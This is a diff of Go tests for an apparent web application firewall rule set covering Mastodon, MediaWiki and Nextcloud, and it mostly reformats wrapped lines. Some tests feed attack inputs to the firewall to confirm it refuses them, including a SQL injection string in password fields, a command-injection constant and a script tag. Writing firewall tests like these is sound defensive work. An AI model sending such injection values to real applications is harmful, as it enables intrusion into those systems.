},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/admin/domain_blocks",
|
|
||||||
"domain_block[public_comment]=",
|
|
||||||
},
|
|
||||||
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
|
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
|
||||||
{http.MethodPost, mastodonRules, "rule[text]="},
|
{http.MethodPost, mastodonRules, "rule[text]="},
|
||||||
{http.MethodPost, mastodonRules, "rule[hint]="},
|
{http.MethodPost, mastodonRules, "rule[hint]="},
|
||||||
{http.MethodPost, "/admin/announcements", "announcement[text]="},
|
{http.MethodPost, "/admin/announcements", "announcement[text]="},
|
||||||
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
|
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
|
||||||
{
|
{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
|
||||||
http.MethodPost,
|
|
||||||
mastodonBranding,
|
|
||||||
"form_admin_settings[site_short_description]=",
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, "/admin/settings/about",
|
http.MethodPost, "/admin/settings/about",
|
||||||
"form_admin_settings[site_extended_description]=",
|
"form_admin_settings[site_extended_description]=",
|
||||||
},
|
},
|
||||||
{http.MethodPost, "/filters", "custom_filter[title]="},
|
{http.MethodPost, "/filters", "custom_filter[title]="},
|
||||||
{
|
{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
|
||||||
"/filters",
|
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||||
"custom_filter[keywords_attributes][0][keyword]=",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/settings/applications",
|
|
||||||
"doorkeeper_application[name]=",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/settings/applications",
|
|
||||||
"doorkeeper_application[website]=",
|
|
||||||
},
|
|
||||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||||
{
|
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||||
mastodonAccount,
|
|
||||||
"user[invite_request_attributes][text]=",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/admin/accounts/1/action",
|
|
||||||
"admin_account_action[text]=",
|
|
||||||
},
|
|
||||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/admin/account_moderation_notes",
|
http.MethodPost, "/admin/account_moderation_notes",
|
||||||
@@ -181,20 +149,12 @@ var mastodonPasswordForms = []mastodonBodyField{
|
|||||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||||
{
|
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||||
http.MethodPost,
|
|
||||||
"/settings/migration",
|
|
||||||
"account_migration[current_password]=",
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, "/settings/migration/redirect",
|
http.MethodPost, "/settings/migration/redirect",
|
||||||
"form_redirect[current_password]=",
|
"form_redirect[current_password]=",
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||||
http.MethodPost,
|
|
||||||
"/settings/delete",
|
|
||||||
"form_delete_confirmation[password]=",
|
|
||||||
},
|
|
||||||
{http.MethodPost, mastodonSignUp, passwordField},
|
{http.MethodPost, mastodonSignUp, passwordField},
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -221,28 +181,12 @@ var mastodonJSONFields = []mastodonBodyField{
|
|||||||
},
|
},
|
||||||
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
|
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
|
||||||
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
|
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
|
||||||
{
|
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
|
||||||
http.MethodPatch,
|
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
|
||||||
mastodonEditor,
|
|
||||||
`{"fields_attributes":[{"name":%s}]}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPatch,
|
|
||||||
mastodonEditor,
|
|
||||||
`{"fields_attributes":[{"value":%s}]}`,
|
|
||||||
},
|
|
||||||
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
|
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
|
||||||
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
|
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
|
||||||
{
|
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
|
||||||
http.MethodPatch,
|
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||||
mastodonProfile,
|
|
||||||
`{"fields_attributes":[{"name":%s}]}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPatch,
|
|
||||||
mastodonProfile,
|
|
||||||
`{"fields_attributes":[{"value":%s}]}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||||
@@ -251,16 +195,8 @@ var mastodonJSONFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
|
||||||
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
|
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
|
||||||
{
|
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
|
||||||
http.MethodPost,
|
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
|
||||||
mastodonInbox,
|
|
||||||
`{"object":{"attachment":[{"name":%s}]}}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
mastodonInbox,
|
|
||||||
`{"object":{"attachment":[{"value":%s}]}}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
|
||||||
}
|
}
|
||||||
@@ -303,12 +239,7 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
|
|||||||
}
|
}
|
||||||
|
|
||||||
r := request{sent.method, sent.target, []string{jsonBody}}
|
r := request{sent.method, sent.target, []string{jsonBody}}
|
||||||
got, _ := inspectBody(
|
got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
|
||||||
t,
|
|
||||||
readingBodies(t),
|
|
||||||
r,
|
|
||||||
fmt.Sprintf(sent.field, quoted),
|
|
||||||
)
|
|
||||||
|
|
||||||
return got.Score
|
return got.Score
|
||||||
}
|
}
|
||||||
@@ -339,11 +270,7 @@ func mastodonScores(
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
||||||
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(
|
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
|
||||||
t,
|
|
||||||
sent,
|
|
||||||
value,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
unescaped, err := url.QueryUnescape(value)
|
unescaped, err := url.QueryUnescape(value)
|
||||||
@@ -352,11 +279,7 @@ func mastodonScores(
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
||||||
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(
|
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
|
||||||
t,
|
|
||||||
sent,
|
|
||||||
unescaped,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return scores
|
return scores
|
||||||
@@ -393,11 +316,8 @@ func TestMastodonPasswordsPass(t *testing.T) {
|
|||||||
t.Run("JSON", func(t *testing.T) {
|
t.Run("JSON", func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
r := request{
|
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
||||||
mastodonPasswordJSON.method,
|
[]string{jsonBody}}
|
||||||
mastodonPasswordJSON.target,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "password")
|
wantRandomPasswordsPass(t, r, "password")
|
||||||
wantPasswordAttacksPass(t, r, "password")
|
wantPasswordAttacksPass(t, r, "password")
|
||||||
@@ -412,16 +332,8 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
|
|||||||
|
|
||||||
wantPasswordFieldsPass(t, []passwordFields{
|
wantPasswordFieldsPass(t, []passwordFields{
|
||||||
{"/auth/challenge", formData, challenge},
|
{"/auth/challenge", formData, challenge},
|
||||||
{
|
{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
|
||||||
"/settings/two_factor_authentication/otp_authentication",
|
{"/settings/two_factor_authentication_methods/disable", formData, challenge},
|
||||||
formData,
|
|
||||||
challenge,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"/settings/two_factor_authentication_methods/disable",
|
|
||||||
formData,
|
|
||||||
challenge,
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -596,11 +508,7 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
|
|||||||
{mastodonReport, "false"},
|
{mastodonReport, "false"},
|
||||||
{mastodonForwardedReport, "remote.example"},
|
{mastodonForwardedReport, "remote.example"},
|
||||||
} {
|
} {
|
||||||
report := mastodonBodyField{
|
report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
|
||||||
http.MethodPost,
|
|
||||||
mastodonReports,
|
|
||||||
sent.body,
|
|
||||||
}
|
|
||||||
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
|
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
|
||||||
t.Errorf("%v refused: %d", report, got)
|
t.Errorf("%v refused: %d", report, got)
|
||||||
}
|
}
|
||||||
@@ -664,20 +572,12 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Elsewhere both keep the two rules.
|
// Elsewhere both keep the two rules.
|
||||||
signIn := mastodonBodyField{
|
signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
|
||||||
http.MethodPost,
|
|
||||||
mastodonSignIn,
|
|
||||||
mastodonUsername.field,
|
|
||||||
}
|
|
||||||
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
|
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
|
||||||
t.Errorf("%v let through", signIn)
|
t.Errorf("%v let through", signIn)
|
||||||
}
|
}
|
||||||
|
|
||||||
statuses := mastodonBodyField{
|
statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
|
||||||
http.MethodPost,
|
|
||||||
mastodonStatuses,
|
|
||||||
mastodonHashtag.field,
|
|
||||||
}
|
|
||||||
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
|
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
|
||||||
t.Errorf("%v let through", statuses)
|
t.Errorf("%v let through", statuses)
|
||||||
}
|
}
|
||||||
@@ -717,11 +617,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
|
|||||||
// Elsewhere the address keeps every rule.
|
// Elsewhere the address keeps every rule.
|
||||||
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
|
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
|
||||||
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
|
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
|
||||||
if mastodonForm(
|
if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
|
||||||
t,
|
|
||||||
sent,
|
|
||||||
"python3%40example.com",
|
|
||||||
) < mastodonThreshold {
|
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -221,13 +221,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
|
||||||
"POST %s %s%s let through: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.field,
|
|
||||||
attack,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -237,11 +231,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
scriptTag,
|
scriptTag,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{"source", "comment"} {
|
for _, field := range []string{"source", "comment"} {
|
||||||
r := request{
|
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
||||||
http.MethodPut,
|
|
||||||
mediawikiRESTPage,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"` + field + `":"` + attack + `"}`
|
body := `{"` + field + `":"` + attack + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -280,31 +270,15 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
|
|||||||
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
|
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
|
||||||
{mediawikiSignIn + "&" + loginContinue, formData, retype},
|
{mediawikiSignIn + "&" + loginContinue, formData, retype},
|
||||||
{mediawikiAccountChange + "?" + changeAction, formData, change},
|
{mediawikiAccountChange + "?" + changeAction, formData, change},
|
||||||
{
|
{mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
|
||||||
mediawikiAccountChange + subpage + "?" + changeAction,
|
{"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
|
||||||
formData,
|
|
||||||
change,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"/index.php/Special:ChangeCredentials?" + changeAction,
|
|
||||||
formData,
|
|
||||||
change,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
|
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
|
||||||
formData, change,
|
formData, change,
|
||||||
},
|
},
|
||||||
{
|
{"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
|
||||||
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
|
|
||||||
formData,
|
|
||||||
change,
|
|
||||||
},
|
|
||||||
// A German wiki's names for the same pages.
|
// A German wiki's names for the same pages.
|
||||||
{
|
{"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
|
||||||
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
|
|
||||||
formData,
|
|
||||||
retype,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
|
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
|
||||||
formData, retype,
|
formData, retype,
|
||||||
@@ -345,12 +319,7 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
|
|||||||
|
|
||||||
body := formBody(sent.name, "' OR '1'='1")
|
body := formBody(sent.name, "' OR '1'='1")
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
|
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
|
||||||
"POST %s %s let through: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.name,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -381,9 +350,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
targets := append(
|
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
|
||||||
[]string{"/load.php?modules="},
|
|
||||||
mediawikiQueryFields...)
|
|
||||||
|
|
||||||
for _, target := range targets {
|
for _, target := range targets {
|
||||||
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
||||||
@@ -400,12 +367,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
|
||||||
"POST %s %s let through: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.field,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -420,11 +382,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
||||||
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
||||||
// it once.
|
// it once.
|
||||||
r = request{
|
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||||
http.MethodPost,
|
|
||||||
mediawikiWatchlist.target,
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
mediawikiCommandAttack,
|
mediawikiCommandAttack,
|
||||||
@@ -470,13 +428,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||||
if got.Score >= mediawikiThreshold {
|
if got.Score >= mediawikiThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||||
"POST %s %s%s refused: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.field,
|
|
||||||
value,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -492,11 +444,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A watchlist holds the title on its second line, as recorded.
|
// A watchlist holds the title on its second line, as recorded.
|
||||||
r := request{
|
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||||
http.MethodPost,
|
|
||||||
mediawikiWatchlist.target,
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
||||||
@@ -569,11 +517,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
||||||
{mediawikiAPI + "?action=edit", "text=python3"},
|
{mediawikiAPI + "?action=edit", "text=python3"},
|
||||||
} {
|
} {
|
||||||
r := request{
|
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
||||||
http.MethodPost,
|
|
||||||
sent.target + "&" + sent.field,
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field)
|
got, _ := inspectBody(t, crs, r, sent.field)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
|
|||||||
@@ -107,12 +107,7 @@ var nextcloudBodies = []nextcloudBody{
|
|||||||
http.MethodPut, nextcloudUsers + "/admin",
|
http.MethodPut, nextcloudUsers + "/admin",
|
||||||
jsonBody, `{"key":"headline","value":"%s"}`,
|
jsonBody, `{"key":"headline","value":"%s"}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
|
||||||
http.MethodPost,
|
|
||||||
"/ocs/v2.php/cloud/groups",
|
|
||||||
jsonBody,
|
|
||||||
`{"groupid":"%s"}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
||||||
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
||||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
||||||
@@ -120,42 +115,17 @@ var nextcloudBodies = []nextcloudBody{
|
|||||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
||||||
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
|
||||||
nextcloudSave,
|
|
||||||
jsonBody,
|
|
||||||
`{"filePath":"/%s/Readme.md"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/remote.php/dav/systemtags/",
|
|
||||||
jsonBody,
|
|
||||||
`{"name":"%s"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
||||||
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
||||||
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
||||||
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
||||||
},
|
},
|
||||||
{
|
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
|
||||||
nextcloudMkcol,
|
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
|
||||||
nextcloudCalendars + "work",
|
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
|
||||||
xmlBody,
|
|
||||||
nextcloudNewCollection,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
nextcloudMkcol,
|
|
||||||
nextcloudAddressBooks + "team",
|
|
||||||
xmlBody,
|
|
||||||
nextcloudNewCollection,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
nextcloudMkcalendar,
|
|
||||||
nextcloudCalendars + "work/",
|
|
||||||
xmlBody,
|
|
||||||
nextcloudNewCalendar,
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The WebDAV methods that make a calendar or an address book.
|
// The WebDAV methods that make a calendar or an address book.
|
||||||
@@ -217,12 +187,7 @@ var nextcloudDocument = nextcloudBody{
|
|||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var nextcloudTexts = []nextcloudBody{
|
var nextcloudTexts = []nextcloudBody{
|
||||||
nextcloudDocument,
|
nextcloudDocument,
|
||||||
{
|
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
|
||||||
http.MethodPost,
|
|
||||||
"/remote.php/dav/comments/files/1",
|
|
||||||
jsonBody,
|
|
||||||
`{"message":"%s"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
||||||
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
||||||
@@ -230,12 +195,7 @@ var nextcloudTexts = []nextcloudBody{
|
|||||||
`</d:propertyupdate>`,
|
`</d:propertyupdate>`,
|
||||||
},
|
},
|
||||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
||||||
{
|
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
|
||||||
http.MethodPost,
|
|
||||||
nextcloudShares,
|
|
||||||
jsonBody,
|
|
||||||
`{"path":"/Notes","note":"%s"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
|
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
|
||||||
formData, "note=%s",
|
formData, "note=%s",
|
||||||
@@ -263,10 +223,7 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
|
|||||||
// nextcloudBodyScore returns the request that sends value, which is not
|
// nextcloudBodyScore returns the request that sends value, which is not
|
||||||
// escaped, in sent's body, and the score crs gives it.
|
// escaped, in sent's body, and the score crs gives it.
|
||||||
func nextcloudBodyScore(
|
func nextcloudBodyScore(
|
||||||
t *testing.T,
|
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
|
||||||
crs *coreruleset.CoreRuleSet,
|
|
||||||
sent nextcloudBody,
|
|
||||||
value string,
|
|
||||||
) (string, int) {
|
) (string, int) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -301,11 +258,7 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
|
|||||||
scores := map[string]int{}
|
scores := map[string]int{}
|
||||||
|
|
||||||
for _, target := range nextcloudQueryFields {
|
for _, target := range nextcloudQueryFields {
|
||||||
scores["GET "+target+value] = inspect(
|
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
get(target+value),
|
|
||||||
).Score
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range nextcloudFormFields {
|
for _, sent := range nextcloudFormFields {
|
||||||
